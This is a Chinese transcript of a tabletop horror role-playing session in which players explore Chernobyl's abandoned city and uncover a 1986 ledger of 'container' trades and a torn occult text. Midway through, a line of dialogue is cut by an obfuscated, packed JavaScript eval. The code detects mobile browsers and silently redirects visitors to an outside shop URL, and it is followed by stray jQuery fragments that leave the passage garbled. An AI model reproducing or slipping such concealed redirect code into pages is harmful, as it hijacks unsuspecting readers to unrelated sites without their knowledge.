（op播放完毕）
（画面亮起）
（欢快的音乐）
库珀·特纳：要不还是算了吧。
加西亚·格林：怎么能算了呢？不是你说不想和我睡一间的吗？
玛格丽特·卡文迪许：坏了，学委，你哥要开始记仇了。
库珀·特纳：那咋办啊！尧光姐救我！（尔康手）
玛格丽特·卡文迪许：（摊手）清官难断家务事，不好意思啊，我爱莫能助。
库珀·特纳：（猛汉落泪）不要啊！尧光姐你不要见死不救啊！
玛格丽特·卡文迪许：没事的没事的，死不了。
加西亚·格林：是的呢，难道在你心目中，我是会因为这种小事就报复你的人吗？（笑）
库珀·特纳：不是，你这语气根本就是在生气吧！
玛格丽特·卡文迪许：没事的，就算你哥现在再想揍你，他的格林也不会对你的特纳动手的。退一万步讲，格林的力量才25，你力量可有90，谁揍得过谁还不一定呢。
库珀·特纳：……尧光姐，你安慰得很好，所以下次不要再安慰了。
加西亚·格林：哦~你嫌弃她。
库珀·特纳：不是，你别乱拱火啊？！
加西亚·格林：你嫌弃她。
库珀·特纳：我没有！你别乱说！
加西亚·格林：你嫌弃她。
库珀·特纳：你别血口喷人！
玛格丽特·卡文迪许：好了好了，知道你没那意思，我又不是傻子。所以你们俩确定要睡一个帐篷了喽？
加西亚·格林：嗯。
库珀·特纳：是啊，那我总不能真和你一块儿吧。
不周（kp）：好，那就这么定下来了。
不周（kp）：话又说回来了，其实你要真想换顶帐篷，也可以和马尔梅拉多夫他们挤一块儿啊。
库珀·特纳：（exe未响应.jpg）还能这样……还能这样？？？
不周（kp）：我可从来没说不行。
玛格丽特·卡文迪许：（摇头）可怜见的，被你哥带到沟里去了。
加西亚·格林：（笑）
玛格丽特·卡文迪许：事已至此，你们要想继续讨论怎么睡随你们，我先去睡了，晚安。
加西亚·格林：晚安。我也钻进帐篷，留特纳一个人在外面纠结。
库珀·特纳：有没有硬币或者别的什么，我听天由命了。
玛格丽特·卡文迪许：这还需要硬币吗？一桌子的骰子呢，随便挑一个投呗。
库珀·特纳：好，如果过半我就去找马尔梅拉多夫，如果没过我就和我哥睡。
【库珀·特纳（我爱学习）进行检定：6/50，成功。】
库珀·特纳：……
玛格丽特·卡文迪许：（乐）笑死，甚至差点大成功。上天说你们兄弟俩要好好的，别老吵架。
不周（kp）：（乐）你这哪是老天爷啊，这得是金牌调解员。
玛格丽特·卡文迪许：又看一期新老娘舅。
不周（kp）：那还得有回访，回访一看，哎呀又吵起来了。
玛格丽特·卡文迪许：劝不了，像这样的还是放生吧。
不周（kp）：总而言之，你们各回各家……不是，各自进了各自的帐篷。
不周（kp）：夜色像一块沉重的裹尸布，不由分说遮盖住整片废墟。风声在你们耳边呜呜地尖啸，远处游乐场秋千链条吱呀作响，被风撕扯成断续的哭腔。寒气从地底渗出，隔着一层帐篷布料都能钻进骨髓。好在这一晚没有野兽出没，盖革计数器也自始没有大叫，你们收获了不算舒适但胜在平安的一夜。
不周（kp）：日光从东方的地平线缓慢渗出，小心翼翼地爬上四号反应堆的石棺——天亮了。马尔梅拉多夫从后备箱里翻出了先前准备好的压缩饼干，他将盖革计数器放在食物上，毫无异状，于是他将这些袋装干粮交给你们，自己又从车子里翻出了诺维科娃先前交给你们的苹果和黑面包——你们依旧没有闻到苹果的味道。
不周（kp）：你们准备吃什么？压缩饼干还是苹果面包？
加西亚·格林：如果我们吃了带有辐射的事物，会发生什么吗？
库珀·特纳：你试试呗，试试不就知道了。
不周（kp）：你看诺维科娃吃了这么久，她出事了吗？
加西亚·格林：明白了。
玛格丽特·卡文迪许：我还是吃压缩饼干吧。
加西亚·格林：你连毯子都接过来了，苹果不吃？
玛格丽特·卡文迪许：以防万一，毕竟我回英国之后还要接触辐射，万一过量了怎么办。
库珀·特纳：我来我来，给我一个苹果。
不周（kp）：马尔梅拉多夫递给你一块苹果。
加西亚·格林：对了，马尔梅拉多夫和司机都吃什么？压缩饼干还是……？
不周（kp）：他们俩都吃压缩饼干。
库珀·特纳：我啃了几口，我有发生什么吗？
不周（kp）：你过体质。
玛格丽特·卡文迪许：等等，这就过体质了？你真在苹果里下了毒啊！
加西亚·格林：果然。
库珀·特纳：嗨，巧了不是，我体质可有90。
【库珀·特纳（我爱学习）进行体质检定，78/90，成功。】
不周（kp）：那就无事发生。你只是觉得嘴巴里的苹果除了甜味啥也尝不出，一点香味都没有，总而言之，不好吃。
库珀·特纳：我觉得这还是比压缩饼干好吃些的。格林，你要不要？
加西亚·格林：免了，我只有40的体质。
玛格丽特·卡文迪许：我倒是有90的体质，但我压缩饼干吃都吃了，算了，下次一定。
加西亚·格林：（叹气）太可怕了，两个生吃辐射源的队友。
玛格丽特·卡文迪许：（笑）到时候我们俩也变辐射源，从此以后盖革计数器见了我俩就响，你以后待在我们旁边就要过体质看掉不掉血。
库珀·特纳：那咱们俩岂不是打遍天下无敌手？
玛格丽特·卡文迪许：卡文迪许不好说，你家特纳肯定是了，自带辐射的西伯利亚棕熊，噫。
库珀·特纳：那我恐吓能不能涨个几点？
不周（kp）：？
不周（kp）：特纳长得不怎么好看，想的倒还挺美。这样，要是以后我的本你用特纳这张卡，你的对手如果随身携带盖革计数器，盖革计数器遇到你又滴滴作响，给你恐吓加个奖励骰。
加西亚·格林：真给？
不周（kp）：那当然，君子一言驷马难追好吧。
加西亚·格林：（笑）到时候盖革计数器响不响是不是还要投个骰子？
不周（kp）：嗨呀，那肯定还是要看若干天后特纳身上还有没有辐射的嘛，他又不是不会新陈代谢。
库珀·特纳：唉，我就知道这天底下没有白给的奖励骰。
不周（kp）：现在是早上六点整，你们可以选择任意地区探索。视距离远近来定你们将花多久时间进行探索，如果就近走访，一上午时间可探索两个地区；如果前往远处，一上午能探索一个地方。
玛格丽特·卡文迪许：我想先去居民区，从远到近地看，这样万一到晚上还有地方没看完，赶回露营地也更快。
加西亚·格林：分头行动呢？这样会更快。现在智能手机应该也普及了吧。
不周（kp）：是的，你们的手机都有信号。
加西亚·格林：那么我拉个群。学委，你想跟着卡文迪许走，还是自己另有安排？
库珀·特纳：你怎么突然这么问？
加西亚·格林：我打算跟你们去不一样的地方，你先定你去哪，我再决定。
库珀·特纳：我跟尧光姐走，上次我自己跑就没看到任何线索，这回我要跟图书馆和侦查最高的人一块儿行动。
加西亚·格林：你们去居民区的话……我就近去市政大楼废墟吧。马尔梅拉多夫跟谁一起？
不周（kp）：动态平衡一下，他跟你一起。司机依旧载上了你们，在消防署东边的路口把格林和马尔梅拉多夫放了下来，随后打着左转灯驶入小路，带着卡文迪许和特纳前往居民区。
不周（kp）：我想想啊……先过市政大楼。
不周（kp）：虽然格林和马尔梅拉多夫还要走上一段路才能到市政大楼废墟，不过他们距离目的地只剩一个路口，因此比开车的那一边反而早二十分钟到达。
不周（kp）：市政大楼满目疮痍，外立面像是得了麻风病，墙皮大片大片脱落，露出大小不一的水泥孔洞。窗户无一幸存，玻璃渣和木板杂乱地散布在地面上，整层楼面几乎空置，只剩水泥梁柱还在苦苦承重，除此之外只有一条通往上层的楼梯还依稀能窥见往日面貌。
不周（kp）：在进入大楼的一瞬间，盖革计数器急切作响，滴滴声连成一线——示数骤然拔升至0.74微希沃特每小时。
马尔梅拉多夫：通常这里是禁止游客进入的。
加西亚·格林：因为过高的辐射？
马尔梅拉多夫：是的，市政大楼与四号反应堆距离太近，辐射不可避免会超标。以及您也看到了，市政大楼本身就是一座摇摇欲坠的危楼，游客们参观这里风险太大，旅行社不愿承担。
加西亚·格林：我一边顺着楼梯向上，一边和马尔梅拉多夫聊天。
加西亚·格林：通常情况而言，我们这一趟会参观哪些地方？
马尔梅拉多夫：首先我们会参观纪念切尔诺贝利事故的纪念碑，接着会参观一些较外围的无害地点，比如一座因核事故而废弃的幼儿园。
加西亚·格林：和那座市立寄宿学校一样么？
马尔梅拉多夫：幼儿园的残破程度会比寄宿学校更轻，辐射也更低，相对更安全。不过给人的感受都是一样的。
马尔梅拉多夫：在午餐过后，我们会一路开向四号反应堆，它正前方有一座小型广场，我们会短暂停留，等游客们拍完照后就迅速离开。接着我们会在普里皮亚季绕一圈，参观居民楼、泳池，最后是游乐园。然后旅程就告一段落，我们会原路返回，在监测站进行辐射检测。
不周（kp）：在你们闲聊的时候，脚下的楼梯不时传来嘎吱声，这也难怪，毕竟就连支撑着楼梯的铁架也全部都生锈了。
不周（kp）：市政大楼一共有四层，但二三层都和一楼一样，除了断壁残垣什么都找不到。到了第四层，一间还剩一半墙壁没有坍塌的大房间闯入你们的眼帘。
马尔梅拉多夫：这里是原市政大楼的档案室。
加西亚·格林：我们能进去看看吗？
马尔梅拉多夫：可以。
不周（kp）：与大楼的其他部分相比，档案室内要显得稍微整洁一些，纸张与碎玻璃大都被清理到了房间两侧。
加西亚·格林（皱眉）：有人来过？
玛格丽特·卡文迪许：你问问马尔梅拉多夫这是什么情况，不是说通常游客不能进来吗？
不周（kp）：马尔梅拉多夫也显得很惊讶。
马尔梅拉多夫：这不对……抱歉，我是第一次来这里，但是旅行团对我们导游培训的时候明令禁止我们带游客进来……不应该……
加西亚·格林：会不会是散客自作主张进来？
马尔梅拉多夫：确实有这种可能性……
加西亚·格林：kp，房间里还有什么值得注意的吗？
不周（kp）：你看到房间内有一个大型档案柜，已经倾倒在地上。在它边上，一个保险箱正敞着肚子，里面已经没有东西了，但从落灰情况来看，似乎至少四五年前时，这里曾放过一件长方形的物品。
库珀·特纳：长方形的？（头顶亮起一个灯泡）难不成是金条？
加西亚·格林：……市政大楼档案室的保险柜里放金条？
玛格丽特·卡文迪许：不行我想超游。有人据说都能在自己心爱的海湖庄园的厕所里藏绝密文件，还有些老头能把绝密文件藏自家狗窝旁边，这种地方的保险柜里放些金条也不是不可能吧。
不周（kp）：如数家珍哈。
加西亚·格林：但这是苏联。
玛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977697|214782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
格丽特·卡文迪许：……好吧你说得对，这地方不可能有金条。
玛格丽特·卡文迪许：应该是什么文件吧，绝密资料之类的？
加西亚·格林：这个倒有些可能。kp，我要翻找档案柜的资料，我能不能找到什么可能和保险箱里失窃的东西有关的信息？
不周（kp）：你过图书馆。
玛格丽特·卡文迪许：你图书馆多少？
加西亚·格林：……
加西亚·格林：20。
玛格丽特·卡文迪许：（摊手）……那只能祝你好运了。
【加西亚·格林（哈姆雷特）进行图书馆使用检定：39/20，失败。】
加西亚·格林：我要求助马尔梅拉多夫，研究生的图书馆使用应该比我一个高中学历的演员要高吧？
不周（kp）：那确实啊。
不周（kp）：马尔梅拉多夫听到你的请求，二话不说加入了翻找文件的队列。
【马尔梅拉多夫进行图书馆使用检定：29/80，成功。】
库珀·特纳：哇，又一个80的图书馆！果然是高材生。
玛格丽特·卡文迪许：后生可畏呀。
（音乐逐渐严肃）
不周（kp）：很快，马尔梅拉多夫就在档案柜中找到了一份落灰最少的、似乎近几年才被翻动过的俄语文档。他招呼你一起来看，并且指着上面的文字逐字逐句翻译道。
1986 年“红色协定”联络记录：
1 月 18 日收容 17 具容器
1 月 19 日支出 15 具容器
1 月 20 日支出 2 具容器
1 月 21 日收入铀 235 新式制取方法
1 月 27 日回收 17 具容器
1 月 28 日放还 17 具容器
3 月 2 日收容 14 具容器
3 月 3 日支出 14 具容器
3 月 5 日收入秘密取自北约的奇书一册（附翻译后备份）
3 月 11 日回收 14 具容器
3 月 12 日放还 14 具容器
4 月 23 日收容 16 具容器
4 月 24 日支出 13 具容器
（展示文档内容）
不周（kp）：记录到此就中断了。
不周（kp）：另外，在这份记录之后，你们找到了与它装订在一起的，所谓“奇书”的备份俄译版复印件，但很可惜，它的主要部分似乎被人为撕下来并拿走了，只剩下首页的一小截文字。马尔梅拉多夫同样为你翻译。
马尔梅拉多夫：“《新英格兰乐土上的奇术异事》，北风之主，北风之主的召唤只在气温极其低的情景下得以达成，堪堪维系在冰点附近并不足够。由此作前提，需备齐活祭至少三……”
不周（kp）：之后的部分，都被撕去了。
加西亚·格林：我用手机拍下来这些文件内容，上传到我们几个人的群里，并且提醒剩下两个人找东西的时候留意“红色协定”、“《新英格兰乐土上的奇术异事》”和“北风之主”等相关字眼。
加西亚·格林：我再拍张保险柜的照片发到群里。
加西亚·格林：文件本身的辐射有没有超标？
不周（kp）：超标了，比空气里的辐射还高0.2个单位。
加西亚·格林：那我把这份文件留在原地。
玛格丽特·卡文迪许：容器……收容、支出、放还……听上去是在做交易？而且是有借有还的……那就是租赁服务？
不周（kp）：接下来的讨论我算你们在群聊里交流嗷。
库珀·特纳：好的没问题。我觉得是吧，你看1月20号和21号两天的内容，20号支出两具容器，21日收入制取铀-235的方法，支出和收入这种词很明显就是在描述交易内容嘛。
玛格丽特·卡文迪许：等等，你要扣字眼的话，容器似乎不应该用具吧？常见的不都是杯啊、碗啊、盒啊这种，什么情况下才会用“具”？我确认一下，这里说的具不是俄译英译中的时候出错了吧，就是现代口语中最常用的“一具棺材”、“一具尸体”这样的具？
不周（kp）：对，不考虑先秦和中古时期，就是现当代的用法。
库珀·特纳：买卖尸体啊？！
玛格丽特·卡文迪许：这……是不是能定侮辱尸体罪了？
加西亚·格林：暂且不论定罪，整个交易循环应该是这样的，收容、支出、回收、放还容器，同时获取某一种知识，比如制取铀的技术和取自北约的奇书。我好奇的点在于放还容器。你们不觉得放还尸体是一个很奇怪的搭配吗？
玛格丽特·卡文迪许：但放还除了放回扣押的生物之外，本身也能指放到原来的位置，所以搭配本身可能也许大概没什么问题……呃，或许是因为尸体作放还的宾语实在太诡异了？
库珀·特纳：等一下！你们没有发现吗？按记录来看，支出容器和收入知识之间只隔了一两天，而最新的记录停在1986年4月24日，两天后核电站就爆炸了！
玛格丽特·卡文迪许：所以这一轮的交易被事故打断了，支出的容器也没有回收和放还……还是说是故意的？
玛格丽特·卡文迪许：除此之外，如果按记录上说的，保险柜里放着的应该就是奇书本体了吧，然后几年前有人把它和备份复印件一块拿走了……
加西亚·格林：我们假定kp没有给我们无用的情报……
不周（kp）：你好，请不要对kp过现实心理学。
加西亚·格林：（目移）总之北风之主恐怕就是我们将要面对的boss，它的召唤需要极低的气温，而24号，也就是今天晚上，这地方会有一场大降温。
玛格丽特·卡文迪许：……
库珀·特纳：完了，死到临头了！
玛格丽特·卡文迪许：备齐活祭至少三，不管是三什么，我们几个恐怕都在劫难逃。
（画面渐隐）
（开始播放ed）
-tbc-